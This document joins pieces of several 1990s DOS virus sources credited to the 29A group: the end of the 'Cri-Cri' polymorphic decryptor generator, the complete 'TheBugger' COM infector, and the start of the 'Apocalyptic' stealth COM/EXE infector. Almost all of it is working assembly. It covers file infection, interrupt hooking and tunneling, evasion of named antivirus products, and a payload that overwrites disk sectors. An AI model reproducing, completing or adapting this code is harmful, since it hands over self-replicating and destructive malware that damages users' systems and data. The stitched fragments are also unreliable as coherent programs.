mov al,47h
sub al,byte ptr cs:[address_register]
stosb
ret
;-----------------------------------------------------------------------------
;Decrement counter and loop
;-----------------------------------------------------------------------------
inst_dec_loop:
;Decode a dec reg instruction
mov al,4Eh
add al,byte ptr cs:[address_register]
stosb
;Decode a jz
mov al,74h
stosb
push di
inc di
;Generate some garbage instructions
call rnd_garbage
;Decode a jmp to loop instruction
mov al,0E9h
stosb
mov ax,word ptr cs:[address_loop]
sub ax,di
dec ax
dec ax
stosw
;Generate some garbage instructions
call rnd_garbage
;Store jz displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;-----------------------------------------------------------------------------
;Generate some garbage instructions if rnd
;-----------------------------------------------------------------------------
rnd_garbage:
call get_rnd
and al,01h
jz do_rnd_garbage
ret
do_rnd_garbage:
call g_generator
ret
;-----------------------------------------------------------------------------
;Generate a push reg and garbage and pop reg
;-----------------------------------------------------------------------------
do_push_g_pop:
;Build a random push pop
call do_push_pop
;Get pop instruction
dec di
mov al,byte ptr cs:[di+00h]
push ax
call g_generator
pop ax
stosb
ret
;-----------------------------------------------------------------------------
;Generate a subroutine witch contains garbage code.
;-----------------------------------------------------------------------------
do_subroutine:
cmp word ptr cs:[last_subroutine],0000h
je create_routine
ret
create_routine:
;Generate a jump instruction
mov al,0E9h
stosb
;Save address for jump construction
push di
;Save address of subroutine
mov word ptr cs:[last_subroutine],di
;Get subroutine address
inc di
inc di
;Generate some garbage code
call g_generator
;Insert ret instruction
mov al,0C3h
stosb
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret
;-----------------------------------------------------------------------------
;Generate a subroutine witch contains one decryptor instruction
;-----------------------------------------------------------------------------
sub_decryptor:
cmp word ptr cs:[decrypt_sub],0000h
je ok_subroutine
ret
ok_subroutine:
;Do not generate the loop branch into a subroutine
mov bl,byte ptr cs:[decrypt_pointer]
inc bl
cmp bl,05h
jne no_loop_sub
ret
no_loop_sub:
;Generate a jump instruction
mov al,0E9h
stosb
;Save address for jump construction
push di
;Save address of subroutine
mov word ptr cs:[decrypt_sub],di
inc di
inc di
push bx
call rnd_garbage
pop bx
call entry_from_sub
call rnd_garbage
build_return:
;Insert ret instruction
mov al,0C3h
stosb
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret
;-----------------------------------------------------------------------------
;Generate a call instruction to a subroutine witch contains
;next decryptor instruction
;-----------------------------------------------------------------------------
do_call_decryptor:
cmp byte ptr cs:[decrypt_pointer],03h
jne no_store_call
;Save position
mov word ptr cs:[address_loop],di
no_store_call:
;Build a call to our subroutine
mov al,0E8h
stosb
mov ax,word ptr cs:[decrypt_sub]
sub ax,di
stosw
;Do not use this subrotine again
mov word ptr cs:[decrypt_sub],0000h
ret
;-----------------------------------------------------------------------------
;Generate a call instruction to a subroutine witch some garbage code
;-----------------------------------------------------------------------------
do_call_garbage:
mov cx,word ptr cs:[last_subroutine]
;Check if there is a subroutine to call
or cx,cx
jnz ok_call
;No, so exit
ret
ok_call:
;Build a call to our garbage subroutine
mov al,0E8h
stosb
mov ax,cx
sub ax,di
stosw
;Do not use this subrotine again
mov word ptr cs:[last_subroutine],0000h
ret
;-----------------------------------------------------------------------------
;Generate a branch followed by some garbage code
;-----------------------------------------------------------------------------
do_branch:
;Generate a random conditional jump instruction
call get_rnd
and al,07h
or al,70h
stosb
;Save address for jump construction
push di
;Get subroutine address
inc di
;Generate some garbage code
call g_generator
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;-----------------------------------------------------------------------------
;Lay down between 2 and 5 filler opcodes selected from the available
;types
;-----------------------------------------------------------------------------
g_generator:
;Get a random number for fill count
call get_rnd
and ax,03h
;Min 2, max 5 opcodes
inc ax
inc ax
next_fill:
push ax
new_fill:
;Select the type of filler
mov ax,(end_op_table-op_table)/2
call rand_in_range
;Avoid same types in a row
cmp ax,word ptr cs:[last_fill_type]
je new_fill
mov word ptr cs:[last_fill_type],ax
add ax,ax
mov bx,ax
call word ptr cs:[op_table+bx]
pop ax
dec ax
jnz next_fill
ret
;-----------------------------------------------------------------------------
;Makes an opcode of type mov reg,immediate value
;either 8 or 16 bit value
;but never ax or al or sp,di,si or bp
;-----------------------------------------------------------------------------
move_imm:
call get_rnd
;Get a reggie
and al,0Fh
;Make it a mov reg,
or al,0B0h
test al,00001000b
jz is_8bit_mov
;Make it ax,bx cx or dx
and al,11111011b
mov ah,al
and ah,03h
;Not ax or al
jz move_imm
stosb
call rand_16
stosw
ret
is_8bit_mov:
mov bh,al
;Is al?
and bh,07h
;Yeah bomb
jz move_imm
stosb
call get_rnd
stosb
ret
;-----------------------------------------------------------------------------
;Now we knock boots with mov reg,reg's
;but never to al or ax.
;-----------------------------------------------------------------------------
move_with_reg:
call rand_16
;Preserve reggies and 8/16 bit
and ax,0011111100000001b
;Or it with addr mode and make it mov
or ax,1100000010001010b
reg_test:
test al,1
jz is_8bit_move_with_reg
;Make source and dest = ax,bx,cx,dx
and ah,11011011b
is_8bit_move_with_reg:
mov bl,ah
and bl,00111000b
;No mov ax, 's please
jz move_with_reg
;Let's see if 2 reggies are same reggies.
mov bh,ah
sal bh,1
sal bh,1
sal bh,1
and bh,00111000b
;Check if reg,reg are same
cmp bh,bl
jz move_with_reg
stosw
ret
;-----------------------------------------------------------------------------
;Modify a mov reg,reg into an xchg reg,reg
;-----------------------------------------------------------------------------
reg_exchange:
;Make a mov reg,reg
call move_with_reg
;But then remove it
dec di
;And take advantage of the fact the opcode is still in ax
dec di
;Was a 16 bit type?
test al,1b
;Yeah go for an 8 bitter
jnz reg_exchange
mov bh,ah
;Is one of reggies ax?
and bh,07h
;Yah so bomb
jz reg_exchange
;Else make it xchg ah,dl etc...
mov al,10000110b
stosw
ret
;-----------------------------------------------------------------------------
;We don't have to watch our stack if we pair up pushes with pops
;so I slapped together this peice of shoddy work to add em.
;-----------------------------------------------------------------------------
do_push_pop:
mov ax,(end_bytes_2-bytes_2)/2
call rand_in_range
add ax,ax
mov bx,ax
;Generate push and pop instruction
mov ax,word ptr cs:[bytes_2+bx]
stosw
ret
;-----------------------------------------------------------------------------
;Generate a random int 21h call.
;-----------------------------------------------------------------------------
do_int_21h:
;Do not generate int 21h calls into boot sectore decryptor
cmp byte ptr cs:[prog_type],"B"
je no_generate_int
;Do not generate int 21h calls into decryption loop
cmp byte ptr cs:[decrypt_pointer],02h
jb no_in_loop
no_generate_int:
ret
no_in_loop:
call get_rnd
;Choose within ah,function or ax,function+subfunction
and al,01h
jz do_int_ax
do_int_ah:
mov ax,end_ah_table-ah_table
call rand_in_range
mov bx,ax
mov ah,byte ptr cs:[ah_table+bx]
;Do not generate same int's in a row
cmp ah,byte ptr cs:[last_int_type]
jz do_int_ah
;Generate mov ah,function
mov byte ptr cs:[last_int_type],ah
mov al,0B4h
stosw
;Generate int 21h
mov ax,021CDh
stosw
ret
do_int_ax:
mov ax,(end_ax_table-ax_table)/2
call rand_in_range
add ax,ax
mov bx,ax
mov ax,word ptr cs:[ax_table+bx]
;Do not generate same int's in a row
cmp ah,byte ptr cs:[last_int_type]
jz do_int_ax
mov byte ptr cs:[last_int_type],ah
;Generate mov ax,function
mov byte ptr es:[di+00h],0B8h
inc di
stosw
;Generate int 21h
mov ax,021CDh
stosw
ret
;-----------------------------------------------------------------------------
;Simple timer based random numbers but with a twist using xor of last one.
;-----------------------------------------------------------------------------
get_rnd:
in ax,40h
xor ax, 0FFFFh
org $-2
Randomize dw 0000h
mov [Randomize],ax
ret
;-----------------------------------------------------------------------------
;A small variation to compensate for lack of randomocity in the
;high byte of 16 bit result returned by get_rnd.
;-----------------------------------------------------------------------------
rand_16:
call get_rnd
mov bl,al
call get_rnd
mov ah,bl
ret
;-----------------------------------------------------------------------------
;Generate a random number betwin 0 and ax.
;-----------------------------------------------------------------------------
rand_in_range:
;Returns a random num between 0 and entry ax
push bx
push dx
xchg ax,bx
call get_rnd
xor dx,dx
div bx
;Remainder in dx
xchg ax,dx
pop dx
pop bx
ret
;----------------------------------------------------------------------------
;Return the al vector in es:bx
;----------------------------------------------------------------------------
get_int:
push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret
;----------------------------------------------------------------------------
;Set al interrupt vector to ds:dx pointer
;----------------------------------------------------------------------------
set_int:
push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret
;----------------------------------------------------------------------------
;Print message to screen
;----------------------------------------------------------------------------
print_credits:
;Set VGA video mode 03h
push bp
mov ax,0003h
int 10h
;Print string
mov ax,1301h
mov bx,0002h
mov cx,003Ah
mov dx,0A0Bh
push cs
pop es
pop bp
add bp,offset text_birthday
int 10h
exit_print:
;Infinite loop
jmp exit_print
;----------------------------------------------------------------------------
;Get sft address in es:di
;----------------------------------------------------------------------------
get_sft:
;File handle in bx
push bx
;Get job file table entry to es:di
mov ax,1220h
int 2Fh
jc error_sft
;Exit if handle not opened
xor bx,bx
mov bl,byte ptr es:[di+00h]
cmp bl,0FFh
je error_sft
;Get address of sft entry number bx to es:di
mov ax,1216h
int 2Fh
jc error_sft
pop bx
stc
cmc
ret
;Exit with error
error_sft:
pop bx
stc
ret
;----------------------------------------------------------------------------
;Seek to end of file
;----------------------------------------------------------------------------
seek_end:
call get_sft
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov word ptr es:[di+17h],dx
mov word ptr es:[di+15h],ax
ret
;----------------------------------------------------------------------------
;Seek to beginning
;----------------------------------------------------------------------------
seek_begin:
call get_sft
xor ax,ax
mov word ptr es:[di+17h],ax
mov word ptr es:[di+15h],ax
ret
;----------------------------------------------------------------------------
;Virus CRITICAL ERROR interrupt handler
;----------------------------------------------------------------------------
my_int24h:
sti
;Return error in function
mov al,3
iret
;----------------------------------------------------------------------------
;Save all registers in the stack
;----------------------------------------------------------------------------
push_all:
cli
pop cs:[ret_off]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push cs:[ret_off]
sti
ret
;----------------------------------------------------------------------------
;Restore all registers from the stack
;----------------------------------------------------------------------------
pop_all:
cli
pop cs:[ret_off]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push cs:[ret_off]
sti
ret
;----------------------------------------------------------------------------
;Clear some registers before returning to host
;----------------------------------------------------------------------------
zero_all:
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor di,di
xor si,si
xor bp,bp
ret
;----------------------------------------------------------------------------
;Unhook int 03h and int 24h and clear dos infection switch
;----------------------------------------------------------------------------
unhook_ints:
push ds
push dx
push ax
mov byte ptr cs:[running_sw],"R"
lds dx,dword ptr cs:[old03h]
mov al,03h
call set_int
lds dx,dword ptr cs:[old24h]
mov al,24h
call set_int
pop ax
pop dx
pop ds
ret
;----------------------------------------------------------------------------
;Get position of code inserted into boot sector
;----------------------------------------------------------------------------
get_position:
mov ah,0
mov al,byte ptr es:[bx+01h]
inc ax
inc ax
mov di,bx
add di,ax
ret
;----------------------------------------------------------------------------
;Make a copy of file header
;----------------------------------------------------------------------------
copy_header:
;Copy header to buffer
call push_all
push cs
pop es
mov si,offset file_buffer
mov di,offset old_header
mov cx,0019h
cld
rep movsb
call pop_all
ret
;----------------------------------------------------------------------------
;Polymorphic generator data buffer
;----------------------------------------------------------------------------
ah_table:
;This table contains the int 21h garbage functions
db 00Bh ;Read entry state
db 019h ;Get current drive
db 02Ah ;Get current date
db 02Ch ;Get current time
db 030h ;Get dos version number
db 062h ;Get psp address
end_ah_table:
ax_table:
dw 3300h ;Get break-flag
dw 3700h ;Get line-command separator
dw 5800h ;Get mem concept
dw 5802h ;Get umb insert
dw 6501h ;Get code-page
end_ax_table:
;Push and pop pairs
bytes_2:
push ax
pop dx
push ax
pop bx
push ax
pop cx
push bx
pop dx
push bx
pop cx
push cx
pop bx
push cx
pop dx
end_bytes_2:
;Steps table
step_table:
dw offset do_subroutine
dw offset do_call_garbage
dw offset g_generator
dw offset do_branch
dw offset sub_decryptor
dw offset next_decryptor
dw offset do_push_g_pop
end_step_table:
instruction_table:
dw offset inst_get_delta
dw offset inst_load_counter
dw offset inst_load_pointer
dw offset inst_decrypt_one
dw offset inst_inc_pointer
dw offset inst_dec_loop
end_inst_table:
;Address of every op-code generator
op_table:
dw offset move_with_reg
dw offset move_imm
dw offset reg_exchange
dw offset do_push_pop
dw do_int_21h
end_op_table:
;Misc data
last_fill_type dw 0
last_int_type db 0
last_step_type dw 0000h
last_subroutine dw 0000h
decrypt_sub dw 0000h
address_loop dw 0000h
decrypt_pointer db 00h
address_register db 00h
decrypt_register db 00h
address_seg_1 db 00h
address_seg_2 db 00h
;----------------------------------------------------------------------------
;Virus data buffer
;----------------------------------------------------------------------------
old21h equ this dword
old21h_off dw 0000h
old21h_seg dw 0000h
org21h equ this dword
org21h_off dw 0000h
org21h_seg dw 0000h
old13h equ this dword
old13h_off dw 0000h
old13h_seg dw 0000h
old24h equ this dword
old24h_off dw 0000h
old24h_seg dw 0000h
old03h equ this dword
old03h_off dw 0000h
old03h_seg dw 0000h
read_ptr equ this dword
read_off dw 0000h
read_seg dw 0000h
dos_flag db 00h
prog_type db "C"
running_sw db "R"
stealth_sw db 00h
dos_function dw 0000h
ret_off dw 0000h
today db 00h
file_offset dw 0000h
;----------------------------------------------------------------------------
text_birthday db "Cri-Cri ViRuS by Griyo/29A"
db " ...Tried, tested, not approved."
;----------------------------------------------------------------------------
file_buffer db 19h dup (00h)
old_header db 19h dup (00h)
clave_crypt db 00h
;----------------------------------------------------------------------------
;Buffer for working area
virus_copy db 00h
;----------------------------------------------------------------------------
com ends
end virus_entry
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±
;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±
;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±
;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±
;±±± ±±±
;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± TheBugger is a simple COM infector with some interesting ±±±
;±±± inprovements. ±±±
;±±± ±±±
;±±± Its first difference with a normal COM virus is the tricky resident ±±±
;±±± check; it's designed to avoid lamers writing the typical resident ±±±
;±±± program wich returns the residency code and forces the virus to not ±±±
;±±± install in memory. To avoid that, the virus makes an extra check of ±±±
;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±±
;±±± simulated HD formatting routine }:). ±±±
;±±± ±±±
;±±± Another interesting feature is the tunneling routine. It uses the ±±±
;±±± common code trace method but it starts tracing from PSP call to int ±±±
;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±±
;±±± resident antivirus stopping trace mode. This call is supported for ±±±
;±±± compatibility with older DOS versions and it has some little ±±±
;±±± diferences with the normal int 21 handler: first, the function code ±±±
;±±± is passed in cl register (not in ah as usual) and second, the ±±±
;±±± function to call can't be higher than 24h. These diferences are ±±±
;±±± handled by the O.S. in a separated routine and then it jumps to the ±±±
;±±± original int 21h handler, so the tunneling routine only skips the ±±±
;±±± first 'compatibility' routines and gets the real int 21h address €:).±±±
;±±± ±±±
;±±± The last big feature, is the infection method; the virus infects COM ±±±
;±±± files by changing a call in host code to point to it. This call may ±±±
;±±± be one between the second and fifth. This is done by intercepting ±±±
;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±±
;±±± rus changes its first word with an int CDh call, it intercepts this ±±±
;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±±
;±±± cutes the int CDh and then the virus takes control; it restores host ±±±
;±±± first word and changes int 01h to trace host in order to find a call ±±±
;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±±
;±±± until host code, but this way we have the same problem of resident ±±±
;±±± antivirus. ±±±
;±±± ±±±
;±±± And that's all folks :), enjoy it. ±±±
;±±± ±±±
;±±± 9 CAN ±±±
;±±± The Slug/29A };){|0D==8±±±
;±±± I Love This Job. 3---ë-----±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

.286
code segment 'TheBugger'
assume cs:code,ds:code,ss:code
org 0h

virsize equ (virend-start)+1

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

start: push cs ;address t0 return t0 h0st.


db 68h ;push '0ffset'.
retonno dw 0000
push ds es
pusha

call sig ;get nasty delta 0ffset.


sig: pop si
sub si, offset(sig)

mov ax, 0B0B0h ;resident check.


int 21h
cmp ax, 0BABAh
jne instal
jmp lstchk

instal: mov ah, 62h ;get PSP segment.


int 21h
xchg bx,ax ;get MCB addres.
dec ax
mov ds,ax

cmp byte ptr ds:[0],'Z' ;is the last MCB?


je chgmcb
jmp aprog

chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB


sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP.
add ax,ds:[3]
inc ax

cld ;copy to new l0cati0n.


mov es, ax
xor di, di
push cs
pop ds
mov cx, virsize
rep movsb

push es ;jump t0 c0py.


push offset(newcpy)
retf

newcpy: mov si, 06h ;m0ve call t0 int 21,


lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus.
movsw
movsw

mov ds, cx ;save curent int 21h vect0r.


mov si,21h*4 ;) cx=0
lea di,int21+1
movsw
movsw

mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :)


mov word ptr ds:[01h*4]+2, es

pushf ;call int 21h fr0m PSP in trace m0de.


pop ax
or ah, 01h
push ax
mov cl, 0Bh ;get input status function (in cl ;).
popf
call PSPcall

mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler.
mov word ptr [si-2], es

aprog: popa ;return t0 h0st.


pop es ds
retf

lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py.


and ax, 0200h
push si
add si, ax
mov di, ax
cmpsw
pop si
je aprog

buuuhh: push cs ;display funny message :)


pop ds
lea dx, joke
add dx, si
mov ah,09h
int 21h

mov dx,0180h ;I think it's clear enought };).


mov cx,07FFh
funny: mov ax,0401h
int 13h
loop funny

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

credits db 'TheBugger virus by The Slug/29A'


intCD: int 0CDh ;int t0 detect h0st execution.
PSPcall: db 9Ah
dd 0 ;PSP call t0 int21h ;)
joke db 'Removing virus from memory...',13,10,'$'

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

hdl21: cmp ax, 0B0B0h ;resident service?


jne func2
mov ax,0BABAh
push cs ;return virus segment in es
pop es ;f0r extra check.
iret

func2: cmp ax, 4B00h ;exec service?


je exec

int21: db 0EAh ;jmp t0 int 21h.


dd 0

exec: push ds es
pusha
pushf

mov si, dx ;c0py filespec.


push cs
pop es
lea di, path
next: lodsb
stosb
cmp al, 0
jne next
sub si, 4 ;is a .c0m file?
lodsw
xor ax, 2020h
cmp ax, 'oc'
jne nocom

call chgattr ;change file attributes.

mov ax, 3D02h ;0pen file.


int 03h
xchg bx, ax

call getdate ;get file time & date.

lea dx, firstb ;read first 3 bytes 0f file


mov cx, 3 ;t0 exe check & h0st detect rutine.
mov ah, 3Fh
int 03h

cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)?
je exit

xor cx, cx ;g0 t0 file start again.


mov ax, 4200h
cwd ;dx <- 0 ;)
int 03h

lea dx, intCD ;write 'int CDh' c0de 0n file start


mov cx, 2 ;t0 detect h0st execution.
mov ah, 40h
int 03h

xor ax, ax ;change int CDh vect0r


mov es, ax ;f0r h0st detection.
mov ax, es:[0CDh*4]
mov intcddes, ax
mov ax, es:[0CDh*4]+2
mov intcdseg, ax
mov es:[0CDh*4], offset(fndhst)
mov es:[0CDh*4]+2, cs

exit: mov ah, 3Eh ;cl0se file.


int 03h

nocom: popf
popa
pop es ds
jmp int21

;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±

tunn: push ds es bp ;trace int 21 f0r tunneling.


pusha

call getret ;get next instructi0n address in es:di.

cmp es:[di], 0FC80h ;is an 'cmp ax, ??'


jne fuera
cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h'
je fuera
stop: xor bx, bx
mov es, bx
mov es:[03h*4], di ;make int 03h point to true int 21h ;)
mov es:[03h*4]+2, ax

lodsw ;trace m0de 0ff.


and ah, 0FEh
mov [si-2], ax

fuera: popa
pop bp es ds
iret

;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

fndhst: push ds es bp ;detect h0st c0de at exec.


pusha

call getret ;get next instructi0n dir.

chkhst: cmp di, 102h ;ensure it's h0st start :)


jne nohost

push cs
pop ds

mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry.
dec di
dec di
stosw

lea dx, path ;0pen file.


push dx
mov ax, 3D02h
int 21h
xchg bx, ax

lea dx, firstb ;rest0re first w0rd 0f file.


mov cx, 2
mov ah, 40h
int 21h

call setdate ;rest0re file date & time.


mov ah ,3Eh ;cl0se file.
int 21h
pop dx
call setattr ;rest0re file attributes.

xor ax, ax ;rest0re int CDh vect0r.


mov es, ax
mov ax, intcddes
mov es:[0CDh*4], ax
mov ax, intcdseg
mov es:[0CDh*4]+2, ax

mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r


mov es:[01h*4]+2, cs ;t0 find a call.

mov numinstr, 0FFh ;max number 0f instr. t0 trace.

in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5).


and al, 03h
inc al
inc al
mov numcall, al

push ss ;rest0re 0riginal IP (100h) 0n stack.


pop ds
dec di
dec di
mov [si-4], di

lodsw ;trace m0de 0n


or ah, 01h
mov ss:[si-2], ax

nohost: popa
pop bp es ds
iret

;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±

fndcal: push ds es bp ;trace h0st t0 find a call t0 infect.


pusha

dec cs:numinstr ;check instructi0n trace limit.


jnz goon
jmp off

goon: call getret ;get ret address.

cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n


jne norep ;0n 'rep' prefixed instructi0ns.
inc cs:numinstr

norep: mov cs:lstdsp, di ;st0re actual return 0ffset.

mov ax, es:[di]

cmp al, 9Dh ;check f0r a p0pf.


jne chkirt
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
jmp nocall

chkirt: cmp al, 0CFh ;check f0r a iret.


jne chkint
lodsw
lodsw
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
anocall:jmp nocall

chkint: cmp al, 0CDh ;check f0r a int xx.


jne chkint3
cmp ah, 20h ;skip ints 20h, 21h & 20h
je anocall
cmp ah, 21h
je anocall
cmp ah, 27h
je anocall
mov cs:numint, ax ;int number t0 perf0rm call.

inc di ;inc ret addr t0 step 0ver int call.


inc di
mov [si-4], di

popa
pop bp es ds
numint dw 00 ;perf0rm int call in virus c0de.
iret

chkint3:cmp al, 0CCh ;check int 03h call.


jne chkcal
inc di
mov [si-4], di ;step 0ver int call.
jmp nocall

chkcal: cmp al, 0E8h ;check f0r a call t0 infect.


je found
jmp nocall

found: dec cs:numcall ;it's the nice 0ne ;)


je go
cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number
jb go ;if there are t00 few calls.
jmp nocall

go: call chgattr ;change attributes.

mov ax, 3D02h ;0pen file.


int 03h
xchg bx, ax

call getdate ;get file date & time.

xor cx, cx ;m0ve t0 file call positi0n.


mov dx, di
sub dx, 100h
mov ax, 4200h
int 03h

lea dx, check ;read call fr0m file f0r c0mpress chk.
mov cx, 1
mov ah, 3Fh
int 03h

cmp check, 0E8h ;c0mpressed file?


je ok
jmp close

ok: xor cx, cx ;m0ves t0 end 0f file.


mov ax, 4202h
cwd ;dx <- 0 ;)
int 03h
mov hostsize, ax

sub ax, di ;find call parameter.


add ax, 0FDh
mov hostsize, ax ;f0r a new "call hostsize".

mov ax, es:[di+1] ;0ffset t0 return t0 h0st


add ax, di
add ax, 3
mov retonno, ax

lea dx, start ;save mi c0de at file end.


mov cx, virsize
mov ah, 40h
int 03h

xor cx, cx ;m0ves again t0 call.


sub di, 0FFh
mov dx, di
mov ax, 4200h
int 03h

lea dx, hostsize ;change it. }:)


mov cx, 2
mov ah, 40h
int 03h

close: call setdate ;rest0re file time & date.

mov ah, 3Eh ;cl0se file.


int 03h

lea dx, path


call setattr ;rest0re file attributes.

off: mov bp, sp


mov ax, ss:[bp+26] ;trace m0de 0ff.
and ah, 0FEh
mov ss:[bp+26], ax

nocall: popa
pop bp es ds
iret

;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±

getret: mov si, sp ;get next instructi0n dir.


add si, 24
push ss
pop ds
lodsw
mov di, ax
lodsw
mov es, ax
ret

;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±

chgattr:push cs
pop ds
lea dx, path
mov ax,4300h ;change file attributes.
int 03h
mov attrib,cx
xor cx, cx ;reset file atributes.
mov ax,4301h
int 03h
ret

setattr:mov cx, attrib ;rest0re file attributes.


mov ax,4301h
int 03h
ret

getdate:mov ax,5700h ;get file time & date.


int 03h
mov time,cx
mov date,dx
ret

setdate:mov cx,time ;rest0re file time & date.


mov dx,date
mov ax,5701h
int 03h
ret
virend:

;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

firstb db 3 dup(0) ;buffer f0r h0st start.


lstdsp dw 0 ;last trace 0ffset.
numinstr db 0 ;max. number 0f instructi0ns t0 trace.
numcall db 0 ;call t0 infect (2-5).
intcddes dw 0 ;int CD vect0r backup.
intcdseg dw 0
hostsize dw 0 ;it's just the h0st size ;)
attrib dw 0 ;file attributes.
time dw 0 ;file time.
date dw 0 ;file date.
check db 0 ;check f0r compressed file.
path db 0 ;path to host.

code ends
end start
; Virus name: Apocalyptic
; Author: WiNTeRMuTe/29A
; Size: 1058 bytes
; Origin: Madrid, Spain
; Finished: October, 1996 ( with a pair of corrections after that )
;
;
; Characteristics and curiosities
;
; - TSR appending Com/Exe infector
; - Has a routine to encrypt and another to decrypt ( ror+add+xor )
; - Stealth ( 11h/12h/4eh/4fh/5700h )
; - Deactivates Tbdriver when going into mem and when infecting
; - Makes the int 3h point to the int21h on infection
; - Fools f-prot's 'stealth detection'
; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan,
; Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb
; searching loop,... really that product is a shit )
; - Payload: On 26th of July it shows all file with size 029Ah ( 666 )
;
;
; Thanks go to:
;
; - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman,
; VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP
; - Living Turmoil, specially Warblade and Krackbaby... go on with the mags!
; - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan,
; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the
; other cosysops...
;
;
; And fucks go to:
;
; - Some Fidoasses. They know who they are.
;
;
; *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*
;
; " Why don't you get a life and grow up,
; why don't you realize that you're fucked up,
; why criticize what you don't understand,
; why change my words, you're so afraid "
;
; ( Sepultura )
;
; *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*
;
; To assemble the virus, use:
;
; Tasm virus.asm
; Tlink virus.obj
;

.286
HOSTSEG segment BYTE
ASSUME CS:HOSTSEG, SS:CODIGO

Host:
mov ax,4c00h
int 21h

ends
CODIGO segment PARA
ASSUME CS:CODIGO, DS:CODIGO, SS:CODIGO

virus_size equ virus_end-virus_start


encrypt_size equ encrypt_end-encrypt_start

virus_start label byte

org 0h

Letsrock:
call delta ; Entry for Com/Exe
delta:
mov si,sp ; ë-offset
mov bp,word ptr ss:[si]
sub bp,offset delta
push es ax ds

push cs
pop ds
call tomacha ; I don't call encryption
;on first generation

Encrypt_start label byte

;***************************************************************************
; RESIDENCE
;***************************************************************************

goon:
push es
call tbdriver ; Deactivate TbDriver

mov ah,52h ; Pick list of lists


int 21h
mov si,es:[bx-2] ; First MCB
mov es,si

Mcb_Loop:
cmp byte ptr es:[0],'Z' ; I search last Mcb.
je got_last
cont: add si,es:[3]
inc si
mov es,si
jmp Mcb_Loop

got_last:
pop dx
cmp word ptr es:[1],0h ; Is it free ?
je go_on
